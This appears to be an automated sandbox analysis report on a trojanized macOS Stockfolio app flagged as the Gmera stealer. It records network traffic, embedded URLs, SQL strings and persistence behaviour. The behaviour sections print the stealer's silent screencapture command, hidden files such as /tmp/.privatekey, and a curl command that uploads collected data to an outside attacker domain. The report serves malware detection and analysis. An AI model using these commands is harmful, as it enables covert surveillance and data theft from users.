Source: .BC.T_LvaGPF.487.drString found in binary or memory: https://paddle.com/privacy-end-user
Source: .dat.nosync029c.Dqx7qa.462.drString found in binary or memory: https://paddle.s3.amazonaws.com/user/33938/jiJSIKWTVOF7hgk7v9fc_SLBKe9zQWSSgzqeRD4OX_icon.pngV1.4.13
Source: .dat.nosync029c.Dqx7qa.462.drString found in binary or memory: https://pay.paddle.com/checkout/framework/536260_
Source: .BC.T_mmQppd.487.drString found in binary or memory: https://query1.finance.yahoo.com/v8/finance/chart/%
Source: .BC.T_LvaGPF.487.drString found in binary or memory: https://s3.amazonaws.com/paddle-production-sdk-releases/macOS/Paddle.json
Source: .BC.T_0biYfh.487.drString found in binary or memory: https://sparkle-project.org/documentation/
Source: .BC.T_0biYfh.487.drString found in binary or memory: https://sparkle-project.org/documentation/app-transport-security/
Source: .BC.T_0biYfh.487.drString found in binary or memory: https://sparkle-project.org/documentation/app-transport-security/WARNING:
Source: .BC.T_0biYfh.487.drString found in binary or memory: https://sparkle-project.org/documentation/app-transport-security/v16
Source: .BC.T_mmQppd.487.drString found in binary or memory: https://stockfolioapp.com/api
Source: appcast.xml.rss.462.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio22-16.delta
Source: appcast.xml.rss.462.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio23-16.delta
Source: appcast.xml.rss.462.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio23-22.delta
Source: appcast.xml.rss.462.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio24-16.delta
Source: appcast.xml.rss.462.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio24-22.delta
Source: appcast.xml.rss.462.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio25-16.delta
Source: appcast.xml.rss.462.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio25-22.delta
Source: appcast.xml.rss.462.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio25-24.delta
Source: appcast.xml.rss.462.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio27-16.delta
Source: appcast.xml.rss.462.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio27-22.delta
Source: appcast.xml.rss.462.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio27-24.delta
Source: appcast.xml.rss.462.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio27-25.delta
Source: appcast.xml.rss.462.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio28-16.delta
Source: appcast.xml.rss.462.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio28-22.delta
Source: appcast.xml.rss.462.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio28-24.delta
Source: appcast.xml.rss.462.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio28-25.delta
Source: appcast.xml.rss.462.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio28-27.delta
Source: appcast.xml.rss.462.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio29-22.delta
Source: appcast.xml.rss.462.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio29-24.delta
Source: appcast.xml.rss.462.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio29-25.delta
Source: appcast.xml.rss.462.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio29-27.delta
Source: appcast.xml.rss.462.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio29-28.delta
Source: appcast.xml.rss.462.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio30-24.delta
Source: appcast.xml.rss.462.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio30-25.delta
Source: appcast.xml.rss.462.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio30-27.delta
Source: appcast.xml.rss.462.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio30-28.delta
Source: appcast.xml.rss.462.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio30-29.delta
Source: appcast.xml.rss.462.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio33-24.delta
Source: appcast.xml.rss.462.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio33-25.delta
Source: appcast.xml.rss.462.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio33-27.delta
Source: appcast.xml.rss.462.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio33-28.delta
Source: appcast.xml.rss.462.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio33-29.delta
Source: appcast.xml.rss.462.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio35-25.delta
Source: appcast.xml.rss.462.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio35-27.delta
Source: appcast.xml.rss.462.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio35-28.delta
Source: appcast.xml.rss.462.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio35-29.delta
Source: appcast.xml.rss.462.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio35-33.delta
Source: appcast.xml.rss.462.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio39-27.delta
Source: appcast.xml.rss.462.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio39-28.delta
Source: appcast.xml.rss.462.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio39-29.delta
Source: appcast.xml.rss.462.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio39-33.delta
Source: appcast.xml.rss.462.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio39-35.delta
Source: appcast.xml.rss.462.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio41-29.delta
Source: appcast.xml.rss.462.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio41-33.delta
Source: appcast.xml.rss.462.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio41-35.delta
Source: appcast.xml.rss.462.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio41-39.delta
Source: appcast.xml.rss.462.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio_1.2.1.zip
Source: appcast.xml.rss.462.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio_1.3.2.zip
Source: appcast.xml.rss.462.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio_1.4.1.zip
Source: appcast.xml.rss.462.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio_1.4.13.zip
Source: appcast.xml.rss.462.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio_1.4.2.zip
Source: appcast.xml.rss.462.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio_1.4.3.zip
Source: appcast.xml.rss.462.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio_1.4.4.zip
Source: appcast.xml.rss.462.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio_1.4.5.zip
Source: appcast.xml.rss.462.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio_1.4.7.zip
Source: appcast.xml.rss.462.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio_1.4.8.zip
Source: appcast.xml.rss.462.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio_1.4.zip
Source: appcast.xml.rss.462.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio_1.5.zip
Source: appcast.xml.rss.462.drString found in binary or memory: https://stockfolioapp.com/download/Stockfolio_1_3_3.zip
Source: .BC.T_fs1Mto.487.dr, .BC.T_mmQppd.487.drString found in binary or memory: https://stockfolioapp.com/download/appcast.xml
Source: .dat.nosync029c.1AdfMm.462.drString found in binary or memory: https://stockfolioapp.com/stocks/icon-paddle
Source: .BC.T_mmQppd.487.drString found in binary or memory: https://streamerapi.finance.yahoo.com/streamer/1.0?s=%
Source: .BC.T_LvaGPF.487.drString found in binary or memory: https://v3.paddleapi.com/3.2/
Source: .BC.T_0biYfh.487.drString found in binary or memory: https://www.apple.com/appleca/0
Source: .BC.T_mmQppd.487.drString found in binary or memory: https://www.google-analytics.com/collect
Uses HTTPSShow sources
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49269
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49268
Source: unknownNetwork traffic detected: HTTP traffic on port 49290 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49288 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49269 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49261 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49261
Source: unknownNetwork traffic detected: HTTP traffic on port 49284 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49260
Source: unknownNetwork traffic detected: HTTP traffic on port 49246 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49242 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49279 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49256 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49281 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49275 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49252 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49259
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49257
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49256
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49255
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49254
Source: unknownNetwork traffic detected: HTTP traffic on port 49287 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49253
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49252
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49251
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49250
Source: unknownNetwork traffic detected: HTTP traffic on port 49249 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49245 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49290
Source: unknownNetwork traffic detected: HTTP traffic on port 49255 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49282 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49276 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49259 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49272 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49251 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49249
Source: unknownNetwork traffic detected: HTTP traffic on port 49244 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49246
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49245
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49289
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49244
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49288
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49287
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49242
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49286
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49284
Source: unknownNetwork traffic detected: HTTP traffic on port 49286 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49283
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49282
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49281
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49280
Source: unknownNetwork traffic detected: HTTP traffic on port 49254 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49283 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49277 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49273 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49250 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49268 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49279
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49278
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49277
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49276
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49275
Source: unknownNetwork traffic detected: HTTP traffic on port 49289 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49274
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49273
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49272
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49270
Source: unknownNetwork traffic detected: HTTP traffic on port 49260 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49280 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49257 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49278 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49274 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49253 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49270 -> 443

Key, Mouse, Clipboard, Microphone and Screen Capturing:

barindex
Yara detected Gmera StealerShow sources
Source: Yara matchFile source: plugin, type: SAMPLE
Captures screenshots with shell command 'screencapture'Show sources
Source: /bin/sh (PID: 632)Screen captured: screencapture -t jpg -x /tmp/screen.jpg -> screencapture -t jpg -x /tmp/screen.jpgJump to behavior
Explicitly creates screenshots silently (i.e. without playing sounds)Show sources
Source: /bin/sh (PID: 632)Screencapture executable (-x switch): screencapture -t jpg -x /tmp/screen.jpg -> screencapture -t jpg -x /tmp/screen.jpgJump to behavior

System Summary:

barindex
Classification labelShow sources
Source: classification engineClassification label: mal100.troj.spyw.evad.macZIP@0/1206@26/0
SQL strings found in memory and binary dataShow sources
Source: .BC.T_mmQppd.487.drBinary or memory string: INSERT INTO stock_metadata_temp2 (ticker, name, currency_type) VALUES (?, ?, ?);
Source: .BC.T_mmQppd.487.drBinary or memory string: UPDATE statusbar_starred SET ticker = ? WHERE watchlist_id = ?;
Source: .BC.T_mmQppd.487.drBinary or memory string: INSERT INTO positions_temp2 (date, ticker, amount, price, order_type, portfolio_id, commission, tax, currency, exchange) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?);
Source: .BC.T_mmQppd.487.drBinary or memory string: UPDATE tickerlist SET sorting_id = ? WHERE ticker = ?;
Source: .BC.T_mmQppd.487.drBinary or memory string: UPDATE positions_temp2 SET ticker = ?, date = ?, price = ?, amount = ?, currency_type = ?, currency_symbol = ?, order_type = ?, commission = ?, tax = ?, currency = ?, exchange = ? WHERE id = ?;
Source: .BC.T_mmQppd.487.drBinary or memory string: UPDATE stock_metadata_temp2 SET name = ?, currency_type = ? WHERE ticker = ?;
Source: .BC.T_mmQppd.487.drBinary or memory string: INSERT INTO tickerlist (ticker, watchlist_id, sorting_id, exchange, currency) VALUES (?, ?, ?, ?, ?);
Source: .BC.T_mmQppd.487.drBinary or memory string: CREATE TABLE stock_metadata_temp2 (id integer primary key autoincrement, ticker varchar(20), name varchar(80), currency_type varchar(20));
Source: .BC.T_mmQppd.487.drBinary or memory string: INSERT INTO statusbar_starred (ticker, watchlist_id) VALUES (?, ?);
Source: .BC.T_mmQppd.487.drBinary or memory string: UPDATE portfolio SET key = ?, sorting_id = ? WHERE id = ?;
Source: .BC.T_mmQppd.487.drBinary or memory string: CREATE TABLE settings (id integer primary key autoincrement, import_dummy_data bool, selected_watchlist_id integer, bundle_id_db_creation integer);
Source: .BC.T_mmQppd.487.drBinary or memory string: UPDATE tickerlist SET exchange = ? WHERE ticker LIKE '%.BTC';
Source: .BC.T_mmQppd.487.drBinary or memory string: CREATE TABLE watchlist (id integer primary key autoincrement, name varchar(50) );
Source: .BC.T_mmQppd.487.drBinary or memory string: UPDATE positions_temp2 SET currency = ? WHERE ticker LIKE '%.BTC';
Source: .BC.T_mmQppd.487.drBinary or memory string: INSERT INTO watchlist (id, name) VALUES (?, ?);
Source: .BC.T_mmQppd.487.drBinary or memory string: UPDATE positions_temp2 SET exchange = ? WHERE ticker LIKE '%.BTC';
Source: .BC.T_mmQppd.487.drBinary or memory string: UPDATE watchlist SET name = ? WHERE id = ?;
Source: .BC.T_mmQppd.487.drBinary or memory string: SELECT * FROM tickerlist WHERE watchlist_id = ?;
Source: .BC.T_mmQppd.487.drBinary or memory string: UPDATE positions_temp2 SET exchange = ? WHERE exchange = ?;
Source: .BC.T_mmQppd.487.drBinary or memory string: CREATE TABLE positions_temp2 (id integer primary key autoincrement, date varchar(50), ticker varchar(20), amount varchar(20), price varchar(20), currency_type varchar(20), currency_symbol varchar(20), order_type varchar(25) );
Source: .BC.T_mmQppd.487.drBinary or memory string: UPDATE tickerlist SET currency = ? WHERE ticker LIKE '%.BTC';
Source: .BC.T_mmQppd.487.drBinary or memory string: INSERT INTO portfolio (key, sorting_id) VALUES (?, ?);
Source: .BC.T_mmQppd.487.drBinary or memory string: SELECT * FROM tickerlist WHERE ticker = ? AND watchlist_id = ?;
Source: .BC.T_mmQppd.487.drBinary or memory string: CREATE TABLE statusbar_starred (id integer primary key autoincrement, ticker varchar(50), watchlist_id integer);
Source: .BC.T_mmQppd.487.drBinary or memory string: UPDATE tickerlist SET sorting_id = ? WHERE id = ?;
Source: .BC.T_mmQppd.487.drBinary or memory string: CREATE TABLE tickerlist (id integer primary key autoincrement, ticker varchar(20), watchlist_id integer, sorting_id integer);
Source: .BC.T_mmQppd.487.drBinary or memory string: INSERT INTO watchlist (name) VALUES (?);
Source: .BC.T_mmQppd.487.drBinary or memory string: INSERT INTO settings (id, import_dummy_data, selected_watchlist_id, bundle_id_db_creation) VALUES (?, ?, ?, ?);
Source: .BC.T_mmQppd.487.drBinary or memory string: CREATE TABLE portfolio (id integer primary key autoincrement, key varchar(225), sorting_id integer );
Source: .BC.T_mmQppd.487.drBinary or memory string: UPDATE settings SET %@ = ? where id = ?;
Source: .BC.T_mmQppd.487.drBinary or memory string: SELECT * FROM tickerlist WHERE id = ? AND TICKER = ? AND watchlist_id ;
Source: .BC.T_mmQppd.487.drBinary or memory string: UPDATE statusbar_starred SET ticker = ticker || '-CCCAGG-USD' WHERE ticker LIKE '%.BTC';
Source: .BC.T_mmQppd.487.drBinary or memory string: UPDATE tickerlist SET EXCHANGE = ?, CURRENCY = ? WHERE id = ?;
Source: .BC.T_mmQppd.487.drBinary or memory string: UPDATE positions_temp2 SET currency = ? WHERE currency = ?;

Persistence and Installation Behavior:

barindex
Process deletes its process image on diskShow sources
Source: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Autoupdate.app/Contents/MacOS/Autoupdate (PID: 687)Process image deleted: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Autoupdate.app/Contents/MacOS/Autoupdate
Uploads files by using the "curl" command and emulating a filled-in formShow sources
Source: /bin/sh (PID: 652)Curl file upload using -F: /usr/bin/curl -> curl -k -s -F server_id=henry_C07ML4R0DWYL -F file=@/tmp/.info https://appstockfolio.com/panel/upload.phpJump to behavior
Source: /bin/sh (PID: 705)Curl file upload using -F: /usr/bin/curl -> curl -k -s -F server_id=henry_C07ML4R0DWYL -F file=@/tmp/.info https://appstockfolio.com/panel/upload.phpJump to behavior
Writes Mach-O files to untypical directoriesShow sources
Source: /Applications/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 668)64-bit Mach-O written to unusual path: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Autoupdate.app/Contents/MacOS/AutoupdateJump to dropped file
Source: /Applications/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 668)64-bit Mach-O written to unusual path: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Autoupdate.app/Contents/MacOS/fileopJump to dropped file
Changes permissions of written Mach-O filesShow sources
Source: /Users/henry/Desktop/unpack/Stockfoli.app/Contents/Resources/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 556)Permissions modified for written 64-bit Mach-O /Applications/Stockfolio.app/Contents/Frameworks/LetsMove.framework/Versions/A/LetsMove: bits: - usr: rx grp: rx all: rwxJump to dropped file
Source: /Users/henry/Desktop/unpack/Stockfoli.app/Contents/Resources/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 556)Permissions modified for written 64-bit Mach-O /Applications/Stockfolio.app/Contents/Frameworks/Paddle.framework/Versions/A/Paddle: bits: - usr: rx grp: rx all: rwxJump to dropped file
Source: /Users/henry/Desktop/unpack/Stockfoli.app/Contents/Resources/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 556)Permissions modified for written 64-bit Mach-O /Applications/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/MacOS/Autoupdate: bits: - usr: rx grp: rx all: rwxJump to dropped file
Source: /Users/henry/Desktop/unpack/Stockfoli.app/Contents/Resources/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 556)Permissions modified for written 64-bit Mach-O /Applications/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/MacOS/fileop: bits: - usr: rx grp: rx all: rwxJump to dropped file
Source: /Users/henry/Desktop/unpack/Stockfoli.app/Contents/Resources/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 556)Permissions modified for written 64-bit Mach-O /Applications/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Sparkle: bits: - usr: rx grp: rx all: rwxJump to dropped file
Source: /Users/henry/Desktop/unpack/Stockfoli.app/Contents/Resources/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 556)Permissions modified for written 64-bit Mach-O /Applications/Stockfolio.app/Contents/MacOS/Stockfolio: bits: - usr: rx grp: rx all: rwxJump to dropped file
Copies directory hierarchies, creates and/or extracts archives with shell command 'ditto'Show sources
Source: /Applications/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 668)Ditto command executed: /usr/bin/ditto -x -k - /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41Jump to behavior
Creates application bundlesShow sources
Source: /usr/bin/ditto (PID: 682)Bundle Info.plist file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/.BC.T_EcTBsO -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/Info.plist
Source: /usr/bin/ditto (PID: 682)Bundle Info.plist file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/Stockfolio.app/Contents/.BC.T_fs1Mto -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/Stockfolio.app/Contents/Info.plist
Creates application/bundle files instead of directories in application directoryShow sources
Source: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Autoupdate.app/Contents/MacOS/Autoupdate (PID: 687)File with .app or .bundle extension, file moved: /var/folders/4x/3w8zrtrd7m1f065ysgs32sn40000gn/T/TemporaryItems/(A Document Being Saved By Autoupdate)/Stockfolio.app -> /Applications/Stockfolio.app
Creates code signed application bundlesShow sources
Source: /usr/bin/ditto (PID: 682)Bundle code signature resource file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/Stockfolio.app/Contents/_CodeSignature/.BC.T_ZMDbAs -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/Stockfolio.app/Contents/_CodeSignature/CodeResources
Source: /usr/bin/ditto (PID: 682)Bundle code signature resource file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/_CodeSignature/.BC.T_1bOUMu -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/Stockfolio.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/_CodeSignature/CodeResources
Creates hidden files, links and/or directoriesShow sources
Source: /bin/sh (PID: 545)Hidden file created: /tmp/.infoJump to behavior
Source: /usr/sbin/screencapture (PID: 632)Hidden file created: /tmp/.screen.jpg-iELsJump to behavior
Source: /usr/bin/sips (PID: 634)Hidden file created: /private/tmp/.screen.jpg.k18Wc-XGqMJump to behavior
Source: /usr/bin/sips (PID: 635)Hidden file created: /private/tmp/.screen.jpg.s7FDm-boG9Jump to behavior
Source: /bin/bash (PID: 558)Hidden file created: /tmp/.hostnameJump to behavior
Source: /bin/bash (PID: 560)Hidden file created: /tmp/.privatekeyJump to behavior
Source: /Applications/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 668)Hidden file created: /Users/henry/Library/Application Support/Stockfolio/.dat.nosync029c.4QBu2dJump to behavior
Source: /Applications/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 668)Hidden file created: /Users/henry/Library/Application Support/Stockfolio/.dat.nosync029c.07UoWAJump to behavior
Source: /Applications/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 668)Hidden file created: /Users/henry/Library/Application Support/Stockfolio/.dat.nosync029c.BOxW7AJump to behavior
Source: /Applications/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 668)Hidden file created: /Users/henry/Library/Application Support/Stockfolio/.dat.nosync029c.U99TQYJump to behavior
Source: /Applications/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 668)Hidden file created: /Users/henry/Library/Application Support/Stockfolio/.dat.nosync029c.5VhMaZJump to behavior
Source: /Applications/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 668)Hidden file created: /Users/henry/Library/Application Support/Stockfolio/.dat.nosync029c.EmgmMyJump to behavior
Source: /Applications/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 668)Hidden file created: /Users/henry/Library/Application Support/Stockfolio/.dat.nosync029c.k9Q042Jump to behavior
Source: /Applications/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 668)Hidden file created: /Users/henry/Library/Application Support/Stockfolio/.dat.nosync029c.n445yGJump to behavior
Source: /Applications/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 668)Hidden file created: /Users/henry/Library/Application Support/Stockfolio/.dat.nosync029c.1AdfMmJump to behavior
Source: /Applications/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 668)Hidden file created: /Users/henry/Library/Application Support/Stockfolio/.dat.nosync029c.dxSXwJJump to behavior
Source: /Applications/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 668)Hidden file created: /Users/henry/.dat.nosync029c.VcCkYbJump to behavior
Source: /Applications/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 668)Hidden file created: /Users/henry/Library/Application Support/Stockfolio/.dat.nosync029c.DDRxdUJump to behavior
Source: /Applications/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 668)Hidden file created: /Users/henry/Library/Application Support/Stockfolio/.dat.nosync029c.MQulW4Jump to behavior
Source: /Applications/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 668)Hidden file created: /Users/henry/Library/Application Support/Stockfolio/.dat.nosync029c.cI5NM2Jump to behavior
Source: /Applications/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 668)Hidden file created: /Users/henry/Library/Application Support/Stockfolio/.dat.nosync029c.47ZgkoJump to behavior
Source: /Applications/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 668)Hidden file created: /Users/henry/Library/Application Support/Stockfolio/.dat.nosync029c.t7pzUwJump to behavior
Source: /Applications/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 668)Hidden file created: /Users/henry/Library/Application Support/Stockfolio/.dat.nosync029c.Dqx7qaJump to behavior
Source: /Applications/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 668)Hidden file created: /Users/henry/Library/Application Support/Stockfolio/.dat.nosync029c.TgjtAjJump to behavior
Source: /Applications/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 668)Hidden file created: /Users/henry/Library/Application Support/Stockfolio/.dat.nosync029c.Ha3U9NJump to behavior
Source: /Applications/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 668)Hidden file created: /Users/henry/Library/.dat.nosync029c.RU8ALCJump to behavior
Source: /Applications/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 668)Hidden file created: /Users/henry/Library/.dat.nosync029c.FxlXyAJump to behavior
Source: /Applications/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 668)Hidden file created: /Users/henry/Library/Application Support/com.app.stocks/.dat.nosync029c.hjT1V9Jump to behavior
Source: /Applications/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 668)Hidden file created: /Users/henry/Library/Application Support/com.app.stocks/.dat.nosync029c.mqDm5mJump to behavior
Source: /Applications/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 668)Hidden file moved: /Users/henry/.dat.nosync029c.VcCkYb -> /Users/henry/.536260.padlJump to behavior
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/_CodeSignature/.BC.T_QxZ13i -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/_CodeSignature/._CodeResources__
Source: /usr/bin/ditto (PID: 682)Hidden file moved: /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/.BC.T_MvUy1e -> /Users/henry/Library/Caches/com.app.stocks/org.sparkle-project.Sparkle/Stockfolio 41/__MACOSX/Stockfolio.app/Contents/.__CodeSignature__
